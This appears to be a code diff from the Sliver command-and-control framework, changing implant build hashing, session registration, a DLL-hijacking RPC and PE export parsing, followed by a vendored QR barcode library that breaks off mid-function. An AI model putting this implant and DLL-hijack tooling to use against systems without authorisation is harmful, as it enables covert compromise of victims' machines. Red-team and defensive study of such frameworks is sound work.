md5Sum := md5.Sum(data)
md5Hash := hex.EncodeToString(md5Sum[:])
sha1Sum := sha1.Sum(data)
sha1Hash := hex.EncodeToString(sha1Sum[:])
sha256Sum := sha256.Sum256(data)
sha256Hash := hex.EncodeToString(sha256Sum[:])
return md5Hash, sha1Hash, sha256Hash
}
// ImplantFileFromBuild - Saves a binary file into the database
func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
buildsDir, err := getBuildsDir()
+7 -9
View File
@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
}
func registerSessionHandler(session *core.Session, data []byte) {
register := &sliverpb.Register{}
err := proto.Unmarshal(data, register)
if err != nil {
handlerLog.Warnf("error decoding message: %v", err)
if session == nil {
return
}
if session == nil {
register := &sliverpb.Register{}
err := proto.Unmarshal(data, register)
if err != nil {
handlerLog.Errorf("Error decoding message: %s", err)
return
}
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
// Parse Register UUID
sessionUUID, err := uuid.Parse(register.Uuid)
if err != nil {
// Generate Random UUID
sessionUUID = uuid.New()
sessionUUID = uuid.New() // Generate Random UUID
}
session.Name = register.Name
session.Hostname = register.Hostname
session.UUID = sessionUUID.String()
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
}
func pingHandler(session *core.Session, data []byte) {
handlerLog.Infof("ping from session %d", session.ID)
handlerLog.Debugf("ping from session %d", session.ID)
}
+2 -2
View File
@@ -37,12 +37,12 @@ import (
"github.com/bishopfox/sliver/util/encoders"
)
func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
func (rpc *Server) HijackDLL(ctx context.Context, req *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
var (
refDLL []byte
targetDLLData []byte
)
resp := &clientpb.DllHijack{
resp := &sliverpb.DllHijack{
Response: &commonpb.Response{},
}
session := core.Sessions.Get(req.Request.SessionID)
+2 -14
View File
@@ -316,13 +316,7 @@ func getExportOffsetFromFile(filepath string, exportName string) (funcOffset uin
}
defer handle.Close()
fpe, _ := pe.NewFile(handle)
var exportDirectoryRVA uint32
switch (fpe.OptionalHeader).(type) {
case *pe.OptionalHeader32:
exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
case *pe.OptionalHeader64:
exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
}
exportDirectoryRVA := fpe.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
var offset = rvaToFoa(exportDirectoryRVA, fpe)
exportDir := ExportDirectory{}
buff := &bytes.Buffer{}
@@ -356,13 +350,7 @@ func getExportOffsetFromMemory(rawData []byte, exportName string) (funcOffset ui
return 0, err
}
var exportDirectoryRVA uint32
switch (fpe.OptionalHeader).(type) {
case *pe.OptionalHeader32:
exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
case *pe.OptionalHeader64:
exportDirectoryRVA = fpe.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
}
exportDirectoryRVA := fpe.OptionalHeader.(*pe.OptionalHeader64).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
var offset = rvaToFoa(exportDirectoryRVA, fpe)
exportDir := ExportDirectory{}
buff := &bytes.Buffer{}
+2 -2
View File
@@ -21,8 +21,8 @@ var (
func update(implantBuild *models.ImplantBuild) {
if watcher != nil && initialized {
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
watcher.Add(implantBuild.Name, implantBuild.Checksum)
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
watcher.Add(implantBuild.Name, implantBuild.MD5)
watchtowerLog.Debugf("Implant added to the watch list")
}
}
+1 -1
View File
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
if encoder, ok := EncoderMap[encoderID]; ok {
return encoderID, encoder, nil
}
return -1, nil, errors.New("{{if .Config.Debug}}Invalid encoder nonce{{end}}")
return -1, nil, errors.New("Invalid encoder nonce")
}
// RandomEncoder - Get a random nonce identifier and a matching encoder
+1
View File
@@ -0,0 +1 @@
.vscode/
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2014 Florian Sundermann
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+53
View File
@@ -0,0 +1,53 @@
[![Join the chat at https://gitter.im/golang-barcode/Lobby](https://badges.gitter.im/golang-barcode/Lobby.svg)](https://gitter.im/golang-barcode/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
## Introduction ##
This is a package for GO which can be used to create different types of barcodes.
## Supported Barcode Types ##
* 2 of 5
* Aztec Code
* Codabar
* Code 128
* Code 39
* Code 93
* Datamatrix
* EAN 13
* EAN 8
* PDF 417
* QR Code
## Example ##
This is a simple example on how to create a QR-Code and write it to a png-file
```go
package main
import (
"image/png"
"os"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/qr"
)
func main() {
// Create the barcode
qrCode, _ := qr.Encode("Hello World", qr.M, qr.Auto)
// Scale the barcode to 200x200 pixels
qrCode, _ = barcode.Scale(qrCode, 200, 200)
// create the output file
file, _ := os.Create("qrcode.png")
defer file.Close()
// encode the barcode as png
png.Encode(file, qrCode)
}
```
## Documentation ##
See [GoDoc](https://godoc.org/github.com/boombuler/barcode)
To create a barcode use the Encode function from one of the subpackages.
+42
View File
@@ -0,0 +1,42 @@
package barcode
import "image"
const (
TypeAztec = "Aztec"
TypeCodabar = "Codabar"
TypeCode128 = "Code 128"
TypeCode39 = "Code 39"
TypeCode93 = "Code 93"
TypeDataMatrix = "DataMatrix"
TypeEAN8 = "EAN 8"
TypeEAN13 = "EAN 13"
TypePDF = "PDF417"
TypeQR = "QR Code"
Type2of5 = "2 of 5"
Type2of5Interleaved = "2 of 5 (interleaved)"
)
// Contains some meta information about a barcode
type Metadata struct {
// the name of the barcode kind
CodeKind string
// contains 1 for 1D barcodes or 2 for 2D barcodes
Dimensions byte
}
// a rendered and encoded barcode
type Barcode interface {
image.Image
// returns some meta information about the barcode
Metadata() Metadata
// the data that was encoded in this barcode
Content() string
}
// Additional interface that some barcodes might implement to provide
// the value of its checksum.
type BarcodeIntCS interface {
Barcode
CheckSum() int
}
+66
View File
@@ -0,0 +1,66 @@
package qr
import (
"errors"
"fmt"
"strings"
"github.com/boombuler/barcode/utils"
)
const charSet string = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:"
func stringToAlphaIdx(content string) <-chan int {
result := make(chan int)
go func() {
for _, r := range content {
idx := strings.IndexRune(charSet, r)
result <- idx
if idx < 0 {
break
}
}
close(result)
}()
return result
}
func encodeAlphaNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
contentLenIsOdd := len(content)%2 == 1
contentBitCount := (len(content) / 2) * 11
if contentLenIsOdd {
contentBitCount += 6
}
vi := findSmallestVersionInfo(ecl, alphaNumericMode, contentBitCount)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
res := new(utils.BitList)
res.AddBits(int(alphaNumericMode), 4)
res.AddBits(len(content), vi.charCountBits(alphaNumericMode))
encoder := stringToAlphaIdx(content)
for idx := 0; idx < len(content)/2; idx++ {
c1 := <-encoder
c2 := <-encoder
if c1 < 0 || c2 < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
}
res.AddBits(c1*45+c2, 11)
}
if contentLenIsOdd {
c := <-encoder
if c < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, AlphaNumeric)
}
res.AddBits(c, 6)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+23
View File
@@ -0,0 +1,23 @@
package qr
import (
"fmt"
"github.com/boombuler/barcode/utils"
)
func encodeAuto(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
bits, vi, _ := Numeric.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
bits, vi, _ = AlphaNumeric.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
bits, vi, _ = Unicode.getEncoder()(content, ecl)
if bits != nil && vi != nil {
return bits, vi, nil
}
return nil, nil, fmt.Errorf("No encoding found to encode \"%s\"", content)
}
+59
View File
@@ -0,0 +1,59 @@
package qr
type block struct {
data []byte
ecc []byte
}
type blockList []*block
func splitToBlocks(data <-chan byte, vi *versionInfo) blockList {
result := make(blockList, vi.NumberOfBlocksInGroup1+vi.NumberOfBlocksInGroup2)
for b := 0; b < int(vi.NumberOfBlocksInGroup1); b++ {
blk := new(block)
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup1)
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup1); cw++ {
blk.data[cw] = <-data
}
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
result[b] = blk
}
for b := 0; b < int(vi.NumberOfBlocksInGroup2); b++ {
blk := new(block)
blk.data = make([]byte, vi.DataCodeWordsPerBlockInGroup2)
for cw := 0; cw < int(vi.DataCodeWordsPerBlockInGroup2); cw++ {
blk.data[cw] = <-data
}
blk.ecc = ec.calcECC(blk.data, vi.ErrorCorrectionCodewordsPerBlock)
result[int(vi.NumberOfBlocksInGroup1)+b] = blk
}
return result
}
func (bl blockList) interleave(vi *versionInfo) []byte {
var maxCodewordCount int
if vi.DataCodeWordsPerBlockInGroup1 > vi.DataCodeWordsPerBlockInGroup2 {
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup1)
} else {
maxCodewordCount = int(vi.DataCodeWordsPerBlockInGroup2)
}
resultLen := (vi.DataCodeWordsPerBlockInGroup1+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup1 +
(vi.DataCodeWordsPerBlockInGroup2+vi.ErrorCorrectionCodewordsPerBlock)*vi.NumberOfBlocksInGroup2
result := make([]byte, 0, resultLen)
for i := 0; i < maxCodewordCount; i++ {
for b := 0; b < len(bl); b++ {
if len(bl[b].data) > i {
result = append(result, bl[b].data[i])
}
}
}
for i := 0; i < int(vi.ErrorCorrectionCodewordsPerBlock); i++ {
for b := 0; b < len(bl); b++ {
result = append(result, bl[b].ecc[i])
}
}
return result
}
+416
View File
@@ -0,0 +1,416 @@
// Package qr can be used to create QR barcodes.
package qr
import (
"image"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/utils"
)
type encodeFn func(content string, eccLevel ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error)
// Encoding mode for QR Codes.
type Encoding byte
const (
// Auto will choose ths best matching encoding
Auto Encoding = iota
// Numeric encoding only encodes numbers [0-9]
Numeric
// AlphaNumeric encoding only encodes uppercase letters, numbers and [Space], $, %, *, +, -, ., /, :
AlphaNumeric
// Unicode encoding encodes the string as utf-8
Unicode
// only for testing purpose
unknownEncoding
)
func (e Encoding) getEncoder() encodeFn {
switch e {
case Auto:
return encodeAuto
case Numeric:
return encodeNumeric
case AlphaNumeric:
return encodeAlphaNumeric
case Unicode:
return encodeUnicode
}
return nil
}
func (e Encoding) String() string {
switch e {
case Auto:
return "Auto"
case Numeric:
return "Numeric"
case AlphaNumeric:
return "AlphaNumeric"
case Unicode:
return "Unicode"
}
return ""
}
// Encode returns a QR barcode with the given content, error correction level and uses the given encoding
func Encode(content string, level ErrorCorrectionLevel, mode Encoding) (barcode.Barcode, error) {
bits, vi, err := mode.getEncoder()(content, level)
if err != nil {
return nil, err
}
blocks := splitToBlocks(bits.IterateBytes(), vi)
data := blocks.interleave(vi)
result := render(data, vi)
result.content = content
return result, nil
}
func render(data []byte, vi *versionInfo) *qrcode {
dim := vi.modulWidth()
results := make([]*qrcode, 8)
for i := 0; i < 8; i++ {
results[i] = newBarcode(dim)
}
occupied := newBarcode(dim)
setAll := func(x int, y int, val bool) {
occupied.Set(x, y, true)
for i := 0; i < 8; i++ {
results[i].Set(x, y, val)
}
}
drawFinderPatterns(vi, setAll)
drawAlignmentPatterns(occupied, vi, setAll)
//Timing Pattern:
var i int
for i = 0; i < dim; i++ {
if !occupied.Get(i, 6) {
setAll(i, 6, i%2 == 0)
}
if !occupied.Get(6, i) {
setAll(6, i, i%2 == 0)
}
}
// Dark Module
setAll(8, dim-8, true)
drawVersionInfo(vi, setAll)
drawFormatInfo(vi, -1, occupied.Set)
for i := 0; i < 8; i++ {
drawFormatInfo(vi, i, results[i].Set)
}
// Write the data
var curBitNo int
for pos := range iterateModules(occupied) {
var curBit bool
if curBitNo < len(data)*8 {
curBit = ((data[curBitNo/8] >> uint(7-(curBitNo%8))) & 1) == 1
} else {
curBit = false
}
for i := 0; i < 8; i++ {
setMasked(pos.X, pos.Y, curBit, i, results[i].Set)
}
curBitNo++
}
lowestPenalty := ^uint(0)
lowestPenaltyIdx := -1
for i := 0; i < 8; i++ {
p := results[i].calcPenalty()
if p < lowestPenalty {
lowestPenalty = p
lowestPenaltyIdx = i
}
}
return results[lowestPenaltyIdx]
}
func setMasked(x, y int, val bool, mask int, set func(int, int, bool)) {
switch mask {
case 0:
val = val != (((y + x) % 2) == 0)
break
case 1:
val = val != ((y % 2) == 0)
break
case 2:
val = val != ((x % 3) == 0)
break
case 3:
val = val != (((y + x) % 3) == 0)
break
case 4:
val = val != (((y/2 + x/3) % 2) == 0)
break
case 5:
val = val != (((y*x)%2)+((y*x)%3) == 0)
break
case 6:
val = val != ((((y*x)%2)+((y*x)%3))%2 == 0)
break
case 7:
val = val != ((((y+x)%2)+((y*x)%3))%2 == 0)
}
set(x, y, val)
}
func iterateModules(occupied *qrcode) <-chan image.Point {
result := make(chan image.Point)
allPoints := make(chan image.Point)
go func() {
curX := occupied.dimension - 1
curY := occupied.dimension - 1
isUpward := true
for true {
if isUpward {
allPoints <- image.Pt(curX, curY)
allPoints <- image.Pt(curX-1, curY)
curY--
if curY < 0 {
curY = 0
curX -= 2
if curX == 6 {
curX--
}
if curX < 0 {
break
}
isUpward = false
}
} else {
allPoints <- image.Pt(curX, curY)
allPoints <- image.Pt(curX-1, curY)
curY++
if curY >= occupied.dimension {
curY = occupied.dimension - 1
curX -= 2
if curX == 6 {
curX--
}
isUpward = true
if curX < 0 {
break
}
}
}
}
close(allPoints)
}()
go func() {
for pt := range allPoints {
if !occupied.Get(pt.X, pt.Y) {
result <- pt
}
}
close(result)
}()
return result
}
func drawFinderPatterns(vi *versionInfo, set func(int, int, bool)) {
dim := vi.modulWidth()
drawPattern := func(xoff int, yoff int) {
for x := -1; x < 8; x++ {
for y := -1; y < 8; y++ {
val := (x == 0 || x == 6 || y == 0 || y == 6 || (x > 1 && x < 5 && y > 1 && y < 5)) && (x <= 6 && y <= 6 && x >= 0 && y >= 0)
if x+xoff >= 0 && x+xoff < dim && y+yoff >= 0 && y+yoff < dim {
set(x+xoff, y+yoff, val)
}
}
}
}
drawPattern(0, 0)
drawPattern(0, dim-7)
drawPattern(dim-7, 0)
}
func drawAlignmentPatterns(occupied *qrcode, vi *versionInfo, set func(int, int, bool)) {
drawPattern := func(xoff int, yoff int) {
for x := -2; x <= 2; x++ {
for y := -2; y <= 2; y++ {
val := x == -2 || x == 2 || y == -2 || y == 2 || (x == 0 && y == 0)
set(x+xoff, y+yoff, val)
}
}
}
positions := vi.alignmentPatternPlacements()
for _, x := range positions {
for _, y := range positions {
if occupied.Get(x, y) {
continue
}
drawPattern(x, y)
}
}
}
var formatInfos = map[ErrorCorrectionLevel]map[int][]bool{
L: {
0: []bool{true, true, true, false, true, true, true, true, true, false, false, false, true, false, false},
1: []bool{true, true, true, false, false, true, false, true, true, true, true, false, false, true, true},
2: []bool{true, true, true, true, true, false, true, true, false, true, false, true, false, true, false},
3: []bool{true, true, true, true, false, false, false, true, false, false, true, true, true, false, true},
4: []bool{true, true, false, false, true, true, false, false, false, true, false, true, true, true, true},
5: []bool{true, true, false, false, false, true, true, false, false, false, true, true, false, false, false},
6: []bool{true, true, false, true, true, false, false, false, true, false, false, false, false, false, true},
7: []bool{true, true, false, true, false, false, true, false, true, true, true, false, true, true, false},
},
M: {
0: []bool{true, false, true, false, true, false, false, false, false, false, true, false, false, true, false},
1: []bool{true, false, true, false, false, false, true, false, false, true, false, false, true, false, true},
2: []bool{true, false, true, true, true, true, false, false, true, true, true, true, true, false, false},
3: []bool{true, false, true, true, false, true, true, false, true, false, false, true, false, true, true},
4: []bool{true, false, false, false, true, false, true, true, true, true, true, true, false, false, true},
5: []bool{true, false, false, false, false, false, false, true, true, false, false, true, true, true, false},
6: []bool{true, false, false, true, true, true, true, true, false, false, true, false, true, true, true},
7: []bool{true, false, false, true, false, true, false, true, false, true, false, false, false, false, false},
},
Q: {
0: []bool{false, true, true, false, true, false, true, false, true, false, true, true, true, true, true},
1: []bool{false, true, true, false, false, false, false, false, true, true, false, true, false, false, false},
2: []bool{false, true, true, true, true, true, true, false, false, true, true, false, false, false, true},
3: []bool{false, true, true, true, false, true, false, false, false, false, false, false, true, true, false},
4: []bool{false, true, false, false, true, false, false, true, false, true, true, false, true, false, false},
5: []bool{false, true, false, false, false, false, true, true, false, false, false, false, false, true, true},
6: []bool{false, true, false, true, true, true, false, true, true, false, true, true, false, true, false},
7: []bool{false, true, false, true, false, true, true, true, true, true, false, true, true, false, true},
},
H: {
0: []bool{false, false, true, false, true, true, false, true, false, false, false, true, false, false, true},
1: []bool{false, false, true, false, false, true, true, true, false, true, true, true, true, true, false},
2: []bool{false, false, true, true, true, false, false, true, true, true, false, false, true, true, true},
3: []bool{false, false, true, true, false, false, true, true, true, false, true, false, false, false, false},
4: []bool{false, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
5: []bool{false, false, false, false, false, true, false, false, true, false, true, false, true, false, true},
6: []bool{false, false, false, true, true, false, true, false, false, false, false, true, true, false, false},
7: []bool{false, false, false, true, false, false, false, false, false, true, true, true, false, true, true},
},
}
func drawFormatInfo(vi *versionInfo, usedMask int, set func(int, int, bool)) {
var formatInfo []bool
if usedMask == -1 {
formatInfo = []bool{true, true, true, true, true, true, true, true, true, true, true, true, true, true, true} // Set all to true cause -1 --> occupied mask.
} else {
formatInfo = formatInfos[vi.Level][usedMask]
}
if len(formatInfo) == 15 {
dim := vi.modulWidth()
set(0, 8, formatInfo[0])
set(1, 8, formatInfo[1])
set(2, 8, formatInfo[2])
set(3, 8, formatInfo[3])
set(4, 8, formatInfo[4])
set(5, 8, formatInfo[5])
set(7, 8, formatInfo[6])
set(8, 8, formatInfo[7])
set(8, 7, formatInfo[8])
set(8, 5, formatInfo[9])
set(8, 4, formatInfo[10])
set(8, 3, formatInfo[11])
set(8, 2, formatInfo[12])
set(8, 1, formatInfo[13])
set(8, 0, formatInfo[14])
set(8, dim-1, formatInfo[0])
set(8, dim-2, formatInfo[1])
set(8, dim-3, formatInfo[2])
set(8, dim-4, formatInfo[3])
set(8, dim-5, formatInfo[4])
set(8, dim-6, formatInfo[5])
set(8, dim-7, formatInfo[6])
set(dim-8, 8, formatInfo[7])
set(dim-7, 8, formatInfo[8])
set(dim-6, 8, formatInfo[9])
set(dim-5, 8, formatInfo[10])
set(dim-4, 8, formatInfo[11])
set(dim-3, 8, formatInfo[12])
set(dim-2, 8, formatInfo[13])
set(dim-1, 8, formatInfo[14])
}
}
var versionInfoBitsByVersion = map[byte][]bool{
7: []bool{false, false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false},
8: []bool{false, false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false},
9: []bool{false, false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true},
10: []bool{false, false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true},
11: []bool{false, false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false},
12: []bool{false, false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false},
13: []bool{false, false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true},
14: []bool{false, false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true},
15: []bool{false, false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false},
16: []bool{false, true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false},
17: []bool{false, true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true},
18: []bool{false, true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true},
19: []bool{false, true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false},
20: []bool{false, true, false, true, false, false, true, false, false, true, true, false, true, false, false, true, true, false},
21: []bool{false, true, false, true, false, true, false, true, true, false, true, false, false, false, false, false, true, true},
22: []bool{false, true, false, true, true, false, true, false, false, false, true, true, false, false, true, false, false, true},
23: []bool{false, true, false, true, true, true, false, true, true, true, true, true, true, false, true, true, false, false},
24: []bool{false, true, true, false, false, false, true, true, true, false, true, true, false, false, false, true, false, false},
25: []bool{false, true, true, false, false, true, false, false, false, true, true, true, true, false, false, false, false, true},
26: []bool{false, true, true, false, true, false, true, true, true, true, true, false, true, false, true, false, true, true},
27: []bool{false, true, true, false, true, true, false, false, false, false, true, false, false, false, true, true, true, false},
28: []bool{false, true, true, true, false, false, true, true, false, false, false, false, false, true, true, false, true, false},
29: []bool{false, true, true, true, false, true, false, false, true, true, false, false, true, true, true, true, true, true},
30: []bool{false, true, true, true, true, false, true, true, false, true, false, true, true, true, false, true, false, true},
31: []bool{false, true, true, true, true, true, false, false, true, false, false, true, false, true, false, false, false, false},
32: []bool{true, false, false, false, false, false, true, false, false, true, true, true, false, true, false, true, false, true},
33: []bool{true, false, false, false, false, true, false, true, true, false, true, true, true, true, false, false, false, false},
34: []bool{true, false, false, false, true, false, true, false, false, false, true, false, true, true, true, false, true, false},
35: []bool{true, false, false, false, true, true, false, true, true, true, true, false, false, true, true, true, true, true},
36: []bool{true, false, false, true, false, false, true, false, true, true, false, false, false, false, true, false, true, true},
37: []bool{true, false, false, true, false, true, false, true, false, false, false, false, true, false, true, true, true, false},
38: []bool{true, false, false, true, true, false, true, false, true, false, false, true, true, false, false, true, false, false},
39: []bool{true, false, false, true, true, true, false, true, false, true, false, true, false, false, false, false, false, true},
40: []bool{true, false, true, false, false, false, true, true, false, false, false, true, true, false, true, false, false, true},
}
func drawVersionInfo(vi *versionInfo, set func(int, int, bool)) {
versionInfoBits, ok := versionInfoBitsByVersion[vi.Version]
if ok && len(versionInfoBits) > 0 {
for i := 0; i < len(versionInfoBits); i++ {
x := (vi.modulWidth() - 11) + i%3
y := i / 3
set(x, y, versionInfoBits[len(versionInfoBits)-i-1])
set(y, x, versionInfoBits[len(versionInfoBits)-i-1])
}
}
}
func addPaddingAndTerminator(bl *utils.BitList, vi *versionInfo) {
for i := 0; i < 4 && bl.Len() < vi.totalDataBytes()*8; i++ {
bl.AddBit(false)
}
for bl.Len()%8 != 0 {
bl.AddBit(false)
}
for i := 0; bl.Len() < vi.totalDataBytes()*8; i++ {
if i%2 == 0 {
bl.AddByte(236)
} else {
bl.AddByte(17)
}
}
}
+29
View File
@@ -0,0 +1,29 @@
package qr
import (
"github.com/boombuler/barcode/utils"
)
type errorCorrection struct {
rs *utils.ReedSolomonEncoder
}
var ec = newErrorCorrection()
func newErrorCorrection() *errorCorrection {
fld := utils.NewGaloisField(285, 256, 0)
return &errorCorrection{utils.NewReedSolomonEncoder(fld)}
}
func (ec *errorCorrection) calcECC(data []byte, eccCount byte) []byte {
dataInts := make([]int, len(data))
for i := 0; i < len(data); i++ {
dataInts[i] = int(data[i])
}
res := ec.rs.Encode(dataInts, int(eccCount))
result := make([]byte, len(res))
for i := 0; i < len(res); i++ {
result[i] = byte(res[i])
}
return result
}
+56
View File
@@ -0,0 +1,56 @@
package qr
import (
"errors"
"fmt"
"strconv"
"github.com/boombuler/barcode/utils"
)
func encodeNumeric(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
contentBitCount := (len(content) / 3) * 10
switch len(content) % 3 {
case 1:
contentBitCount += 4
case 2:
contentBitCount += 7
}
vi := findSmallestVersionInfo(ecl, numericMode, contentBitCount)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
res := new(utils.BitList)
res.AddBits(int(numericMode), 4)
res.AddBits(len(content), vi.charCountBits(numericMode))
for pos := 0; pos < len(content); pos += 3 {
var curStr string
if pos+3 <= len(content) {
curStr = content[pos : pos+3]
} else {
curStr = content[pos:]
}
i, err := strconv.Atoi(curStr)
if err != nil || i < 0 {
return nil, nil, fmt.Errorf("\"%s\" can not be encoded as %s", content, Numeric)
}
var bitCnt byte
switch len(curStr) % 3 {
case 0:
bitCnt = 10
case 1:
bitCnt = 4
break
case 2:
bitCnt = 7
break
}
res.AddBits(i, bitCnt)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+166
View File
@@ -0,0 +1,166 @@
package qr
import (
"image"
"image/color"
"math"
"github.com/boombuler/barcode"
"github.com/boombuler/barcode/utils"
)
type qrcode struct {
dimension int
data *utils.BitList
content string
}
func (qr *qrcode) Content() string {
return qr.content
}
func (qr *qrcode) Metadata() barcode.Metadata {
return barcode.Metadata{barcode.TypeQR, 2}
}
func (qr *qrcode) ColorModel() color.Model {
return color.Gray16Model
}
func (qr *qrcode) Bounds() image.Rectangle {
return image.Rect(0, 0, qr.dimension, qr.dimension)
}
func (qr *qrcode) At(x, y int) color.Color {
if qr.Get(x, y) {
return color.Black
}
return color.White
}
func (qr *qrcode) Get(x, y int) bool {
return qr.data.GetBit(x*qr.dimension + y)
}
func (qr *qrcode) Set(x, y int, val bool) {
qr.data.SetBit(x*qr.dimension+y, val)
}
func (qr *qrcode) calcPenalty() uint {
return qr.calcPenaltyRule1() + qr.calcPenaltyRule2() + qr.calcPenaltyRule3() + qr.calcPenaltyRule4()
}
func (qr *qrcode) calcPenaltyRule1() uint {
var result uint
for x := 0; x < qr.dimension; x++ {
checkForX := false
var cntX uint
checkForY := false
var cntY uint
for y := 0; y < qr.dimension; y++ {
if qr.Get(x, y) == checkForX {
cntX++
} else {
checkForX = !checkForX
if cntX >= 5 {
result += cntX - 2
}
cntX = 1
}
if qr.Get(y, x) == checkForY {
cntY++
} else {
checkForY = !checkForY
if cntY >= 5 {
result += cntY - 2
}
cntY = 1
}
}
if cntX >= 5 {
result += cntX - 2
}
if cntY >= 5 {
result += cntY - 2
}
}
return result
}
func (qr *qrcode) calcPenaltyRule2() uint {
var result uint
for x := 0; x < qr.dimension-1; x++ {
for y := 0; y < qr.dimension-1; y++ {
check := qr.Get(x, y)
if qr.Get(x, y+1) == check && qr.Get(x+1, y) == check && qr.Get(x+1, y+1) == check {
result += 3
}
}
}
return result
}
func (qr *qrcode) calcPenaltyRule3() uint {
pattern1 := []bool{true, false, true, true, true, false, true, false, false, false, false}
pattern2 := []bool{false, false, false, false, true, false, true, true, true, false, true}
var result uint
for x := 0; x <= qr.dimension-len(pattern1); x++ {
for y := 0; y < qr.dimension; y++ {
pattern1XFound := true
pattern2XFound := true
pattern1YFound := true
pattern2YFound := true
for i := 0; i < len(pattern1); i++ {
iv := qr.Get(x+i, y)
if iv != pattern1[i] {
pattern1XFound = false
}
if iv != pattern2[i] {
pattern2XFound = false
}
iv = qr.Get(y, x+i)
if iv != pattern1[i] {
pattern1YFound = false
}
if iv != pattern2[i] {
pattern2YFound = false
}
}
if pattern1XFound || pattern2XFound {
result += 40
}
if pattern1YFound || pattern2YFound {
result += 40
}
}
}
return result
}
func (qr *qrcode) calcPenaltyRule4() uint {
totalNum := qr.data.Len()
trueCnt := 0
for i := 0; i < totalNum; i++ {
if qr.data.GetBit(i) {
trueCnt++
}
}
percDark := float64(trueCnt) * 100 / float64(totalNum)
floor := math.Abs(math.Floor(percDark/5) - 10)
ceil := math.Abs(math.Ceil(percDark/5) - 10)
return uint(math.Min(floor, ceil) * 10)
}
func newBarcode(dim int) *qrcode {
res := new(qrcode)
res.dimension = dim
res.data = utils.NewBitList(dim * dim)
return res
}
+27
View File
@@ -0,0 +1,27 @@
package qr
import (
"errors"
"github.com/boombuler/barcode/utils"
)
func encodeUnicode(content string, ecl ErrorCorrectionLevel) (*utils.BitList, *versionInfo, error) {
data := []byte(content)
vi := findSmallestVersionInfo(ecl, byteMode, len(data)*8)
if vi == nil {
return nil, nil, errors.New("To much data to encode")
}
// It's not correct to add the unicode bytes to the result directly but most readers can't handle the
// required ECI header...
res := new(utils.BitList)
